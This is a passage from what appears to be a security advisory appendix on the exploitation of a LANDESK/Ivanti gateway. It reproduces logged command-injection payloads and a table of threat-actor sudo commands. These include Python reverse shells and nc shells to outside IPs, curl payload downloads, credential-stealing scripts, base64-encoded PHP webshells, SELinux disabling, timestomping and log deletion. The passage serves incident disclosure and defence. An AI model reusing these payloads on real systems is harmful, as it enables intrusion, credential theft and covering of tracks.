else:
set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)
| /usr/bin/base64 -d | python||’ where username=’admin'”|psql -d brokerdb -U gsbadmin;’ (1)
} |
{
Sep 6 02:39:11 REDACTED gsb[21266]: /etc/php.ini
rewritten with new timezone: ‘;/usr/bin/echo
import os, re, base64, time
os.chdir(“/tmp”)
d = “/backups”
def set_msg(p, t=”, m=”):
if t and m:
msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode())
else:
msg = ”
os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))
try:
r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
r = None
with open(“/opt/landesk/broker/broker.conf”) as f:
dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read
())[0]
if r:
p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\’admin\’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’)
os.system(“tar zxvf {}”.format(r))
while True:
for f in os.listdir(‘.’):
if re.match(“phpw{6}”, f):
os.chmod(f, 0o777)
m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()
if m:
set_msg(dbpwd, “PASSWORD”, m)
time.sleep(30)
set_msg(dbpwd)
exit()
else:
set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)
| /usr/bin/base64 -d | python;’ (1)
} |
{
Sep 6 03:03:44 REDACTED gsb[11427]: /etc/php.ini
rewritten with new timezone: ‘;bash /tmp/Xa27efd2.tmp;’ (1)
} |
{
Sep 8 05:18:35 REDACTED gsb[5132]: /etc/php.ini
rewritten with new timezone: ‘;/sbin/backuptool –backup;’ (1)
} |
{
Sep 8 05:19:34 REDACTED gsb[5325]: /etc/php.ini
rewritten with new timezone: ‘;/usr/bin/echo
import os, re, base64, time
os.chdir(“/tmp”)
d = “/backups”
def set_msg(p, t=”, m=”):
if t and m:
msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode())
else:
msg = ”
os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))
try:
r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
r = None
with open(“/opt/landesk/broker/broker.conf”) as f:
dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read
())[0]
if r:
p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\’admin\’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’)
os.system(“tar zxvf {}”.format(r))
while True:
for f in os.listdir(‘.’):
if re.match(“phpw{6}”, f):
os.chmod(f, 0o777)
m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()
if m:
set_msg(dbpwd, “PASSWORD”, m)
time.sleep(30)
set_msg(dbpwd)
exit()
else:
set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)
| /usr/bin/base64 -d | python;’ (1)
} |
{
Sep 8 10:37:35 REDACTED gsb[6196]: /etc/php.ini
rewritten with new timezone: ‘;nc REDACTED
80 -ssl -e /bin/bash;’ (1)
} |
{
Sep 8 10:40:38 REDACTED gsb[8758]: /etc/php.ini
rewritten with new timezone: ‘;curl https://gggg.oyr2ohrm.eyes.sh
/;’ (1)
} |
{
Sep 8 10:41:35 REDACTED gsb[7475]: /etc/php.ini
rewritten with new timezone: ‘;curl 98.98.54.209/a.sh -o /dev/shm/a.sh
;’ (1)
} |
{
Sep 8 13:10:37 REDACTED gsb[22555]: /etc/php.ini
rewritten with new timezone: ‘;nc REDACTED
80 –ssl -e /bin/bash;’ (1)
} |
{
Sep 8 13:21:06 REDACTED gsb[24954]: /etc/php.ini
rewritten with new timezone: ‘;nc REDACTED
80 –ssl -e /bin/bash;’ (1)
} |
{
Sep 8 20:23:14 REDACTED gsb[1899]: /etc/php.ini
rewritten with new timezone: ‘;export PGPASSWORD=`cat /opt/landesk/broker/broker.conf | grep PGSQL_PW | cut -d ‘=’ -f2-`;echo
“update user_info set organization=’||/usr/bin/echo import os, re, base64, time
os.chdir(“/tmp”)
d = “/backups”
def set_msg(p, t=”, m=”):
if t and m:
msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode())
else:
msg = ”
os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))
try:
r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
r = None
with open(“/opt/landesk/broker/broker.conf”) as f:
dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read
())[0]
if r:
p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\’admin\’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’)
os.system(“tar zxvf {}”.format(r))
while True:
for f in os.listdir(‘.’):
if re.match(“phpw{6}”, f):
os.chmod(f, 0o777)
m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()
if m:
set_msg(dbpwd, “PASSWORD”, m)
time.sleep(30)
set_msg(dbpwd)
exit()
else:
set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)
| /usr/bin/base64 -d | python||’ where username=’admin'”|psql -d brokerdb -U gsbadmin;’ (1)
} |
{
Sep 10 04:36:30 REDACTED gsb[16012]: /etc/php.ini
rewritten with new timezone: ‘;/usr/bin/echo
python -c ‘import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“45.33.101.53
“,443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(“/bin/sh”)’== | /usr/bin/base64 -d | /bin/bash;’ (1)
} |
{
Sep 10 11:48:32 csa gsb[6829]: /etc/php.ini
rewritten with new timezone: ‘;/bin/
python -c ‘import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“156.234.193.18”,44345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,”-i”]);’;’ (1)
} |
{
Sep 10 05:33:42 REDACTED gsb[17292]: /etc/php.ini
rewritten with new timezone: ‘;/usr/bin/echo
import os, re, time
os.chdir(“/tmp”)
d = “/backups/backup-09-01-2024_010101.tar.gz”
with open(“/opt/landesk/broker/broker.conf”) as f:
dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read
())[0]
if os.path.exists(d):
os.system(“tar zxf {}”.format(d))
pwd = os.popen(“export PGPASSWORD={};echo SELECT username,passwd FROM user_info | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().strip()
p = pwd.split(‘:’)
k = os.popen(“cat root/.certs/{}.0”.format(p[1])).read().strip()
os.system(”’export PGPASSWORD={};echo “INSERT INTO blockedcerts (blockedcerts_idn, core, hash, description, created) VALUES (1, ‘{}’, ‘1’, ‘{}’, ‘2024-03-13 05:10:16.926012′)”|psql -d brokerdb -U gsbadmin”’.format(dbpwd, k[0:200], k[200:700]))
os.system(”’export PGPASSWORD={};echo “INSERT INTO blockedcerts (blockedcerts_idn, core, hash, description, created) VALUES (2, ‘{}’, ‘2’, ‘{}’, ‘2024-03-13 05:10:16.926012′)”|psql -d brokerdb -U gsbadmin”’.format(dbpwd, k[700:900], k[900:]))
os.system(”’export PGPASSWORD={};echo “INSERT INTO blockedcerts (blockedcerts_idn, core, hash, description, created) VALUES (3, ‘{}’, ‘3’, ‘{}’, ‘2024-03-13 05:10:16.926012′)”|psql -d brokerdb -U gsbadmin”’.format(dbpwd, pwd[0:200], pwd[200:700]))
time.sleep(60)
os.system(”’export PGPASSWORD={};echo “DELETE FROM blockedcerts”|psql -d brokerdb -U gsbadmin”’.format(dbpwd))
os.system(“rm -rdf *;rm -rf *”)== | /usr/bin/base64 -d | python;’ (1)
} |
Appendix B: Sudo Commands
See Table 14 for a list of known sudo commands executed by the threat actors.
| Command |
Use |
| sudo: nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/opt/landesk/ldms/LDClient/ldpclient -i ;export PGPASSWORD=`cat /opt/landesk/broker/broker.conf | grep PGSQL_PW | cut -d ‘=’ -f2-`;echo “update user_info set organization=’||/usr/bin/echo aW1wb3J0IG9zLCByZSwgYmFzZTY0LCB0aW1lCm9zLmNoZGlyKCIvdG1wIikKZCA9ICIvYmFja3VwcyIKZGVmIHNldF9tc2cocCwgdD0nJywgbT0nJyk6CiAgICBpZiB0IGFuZCBtOgogICAgICAgIG1zZyA9ICdBQXt9Ont9QkInLmZvcm1hdCh0LCBiYXNlNjQuYjY0ZW5jb2RlKG0uZW5jb2RlKCkpLmRlY29kZSgpKQogICAgZWxzZToKICAgICAgICBtc2cgPSAnJwogICAgb3Muc3lzdGVtKCcnJ2V4cG9ydCBQR1BBU1NXT1JEPXt9O2VjaG8gInVwZGF0ZSB1c2VyX2luZm8gc2V0IG9yZ2FuaXphdGlvbj0ne30nIHdoZXJlIHVzZXJuYW1lPSdhZG1pbicifHBzcWwgLWQgYnJva2VyZGIgLVUgZ3NiYWRtaW4nJycuZm9ybWF0KHAsIG1zZykpCnRyeToKICAgIHIgPSBtYXgoW29zLnBhdGguam9pbihkLCBmKSBmb3IgZiBpbiBvcy5saXN0ZGlyKGQpIGlmIG9zLnBhdGguaXNmaWxlKG9zLnBhdGguam9pbihkLCBmKSldLCBrZXk9b3MucGF0aC5nZXRtdGltZSkKZXhjZXB0OgogICAgciA9IE5vbmUKd2l0aCBvcGVuKCIvb3B0L2xhbmRlc2svYnJva2VyL2Jyb2tlci5jb25mIikgYXMgZjoKICAgIGRicHdkID0gcmUuZmluZGFsbCgiUEdTUUxfUFc9KC4qKSIsIGYucmVhZCgpKVswXQppZiByOgogICAgcCA9IG9zLnBvcGVuKCJleHBvcnQgUEdQQVNTV09SRD17fTtlY2hvIFNFTEVDVCBwYXNzd2QgRlJPTSB1c2VyX2luZm8gV0hFUkUgdXNlcm5hbWU9XFwnYWRtaW5cXCcgfCBwc3FsIC1kIGJyb2tlcmRiIC1VIGdzYmFkbWluIC1oIGxvY2FsaG9zdCIuZm9ybWF0KGRicHdkKSkucmVhZCgpLnNwbGl0KCJcbiIpWy00XS5zdHJpcCgpLnNwbGl0KCc6JykKICAgIG9zLnN5c3RlbSgidGFyIHp4dmYge30iLmZvcm1hdChyKSkKICAgIHdoaWxlIFRydWU6CiAgICAgICAgZm9yIGYgaW4gb3MubGlzdGRpcignLicpOgogICAgICAgICAgICBpZiByZS5tYXRjaCgicGhwXHd7Nn0iLCBmKToKICAgICAgICAgICAgICAgIG9zLmNobW9kKGYsIDBvNzc3KQogICAgICAgICAgICAgICAgbSA9IG9zLnBvcGVuKCIuL3t9IHt9IHt9IHt9IHJvb3QvLmNlcnRzL3t9LmtleSB7fSIuZm9ybWF0KGYsIHBbNF0sIHBbNV0sIHBbNl0sIHBbMV0sIHBbMV0pKS5yZWFkKCkuc3RyaXAoKQogICAgICAgICAgICAgICAgaWYgbToKICAgICAgICAgICAgICAgICAgICBzZXRfbXNnKGRicHdkLCAiUEFTU1dPUkQiLCBtKQogICAgICAgICAgICAgICAgICAgIHRpbWUuc2xlZXAoMjQwKQogICAgICAgICAgICAgICAgICAgIHNldF9tc2coZGJwd2QpCiAgICAgICAgICAgICAgICAgICAgZXhpdCgpCmVsc2U6CiAgICBzZXRfbXNnKGRicHdkLCAnRVJST1InLCAnTk8gQkFDS1VQJykKICAgIAogICAgCg== | /usr/bin/base64 -d | python||’ where username=’admin'”|psql -d brokerdb -U gsbadmin; |
Updates the “organization” field of the “admin” account in the PGSQL database with python script decoded from base64.
The python script decompresses the latest backup of the PGSQL database and extracts the password for the gsbadmin account to access the database.
|
| nobody : user NOT in sudoers ; TTY=unknown ; PWD=/usr/bin ; USER=root ; COMMAND=/sbin/setenforce 0 |
Temporarily disables SELinux. |
| sudo: admin : TTY=unknown ; PWD=/tmp ; USER=root ; COMMAND=/bin/sh -c echo REDACTED_BASE64_PASSWORD | base64 >/opt/landesk/broker/webroot/gsb/site.cnf |
Exfiltrates credentials and places them in a site.cnf webfile. |
| sudo: admin : TTY=unknown ; PWD=/tmp ; USER=root ; COMMAND=/bin/sh -c echo PD9waHAgZXZhbCgkX1BPU1RbImNiNzg2OGM0NjA zNTQ4NTdiNzE5MjA0ZTI3NjZlZGJlIl0pOw== | base64 -d >/opt/landesk/broker/webroot/gsb/view.php |
Creates a webshell at view.php. |
|
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/subin/tripwire –update ;/usr/bin/echo ZWNobyAiPD9waHAgc3lzdGVtKCcvYmluL3N1ZG8gJy4Gq
FwkX1JFUVVFU1RbJ2EnXSk7IiA+IC9vcHQvbGFuZGVzay9icm
9rZXIvd2Vicm9vdC9nc2IvaGVscC5waHA= | /usr/bin/base64 -d | /bin/bash;
|
Creates a webshell at help.php. |
| sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;sed -i ‘s/setPhpTimeZone($TIMEZONE)/// setPhpTimeZone()/g’ /opt/landesk/broker/webroot/gsb/DateTimeTab.php |
Comments out the function setPhpTimeZone in DateTimeTab.php that logs the full exploit command. |
| sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;sed -i ‘s/setSystemTimeZone( $TIMEZONE )/// setSystemTimeZone( $TIMEZONE )/g’ /opt/landesk/broker/webroot/gsb/DateTimeTab.php |
Comments out the vulnerable function setSystemTimeZone in DateTimeTab.php. |
| sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;sed -i ‘s/GSB main page/GSB main pageneval($_POST[“in39112cnnpkyc1os01q34gp6r60akgi”]);/g’ /opt/landesk/broker/webroot/client/index.php |
Adds a webshell into index.php. |
| sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;sed -i ‘s/$canvas_height = 600;/$canvas_height = 600;nteval($_POST[“in39112cnnpkyc1os01q34gp6r60akgi”]);/’ /opt/landesk/broker/webroot/gsb/style.php |
Adds a webshell into style.php. |
| sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;touch -r /opt/landesk/broker/webroot/client/about.php /opt/landesk/broker/webroot/client/index.php |
Timestomping attempt to change the access and modification of time of index.php. |
| sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;touch -r /opt/landesk/broker/webroot/client/about.php /opt/landesk/broker/webroot/gsb/style.php |
Timestomping attempt to change the access and modification time of style.php |
| sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;touch -r /opt/landesk/broker/webroot/client/about.php /opt/landesk/broker/webroot/gsb/DateTimeTab.php |
Timestomping attempt to change the access and modification time of DateTimeTab.php. |
| sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;rm /opt/landesk/broker/webroot/gsb/help.php |
Timestomping attempt to change the access and modification time of help.php |
| sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;rm /var/log/messages |
Removes evidence. |
| sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;rm /opt/landesk/broker/webroot/gsb/site.cnf |
Removes site.cnf file (exfiltrated credentials). |
| sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;rm /opt/landesk/broker/webroot/client/client.php |
Removes one of the original webshells. |
|
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;rm
/opt/landesk/broker/webroot/gsb/view.php
|
Removes one of the original webshells. |
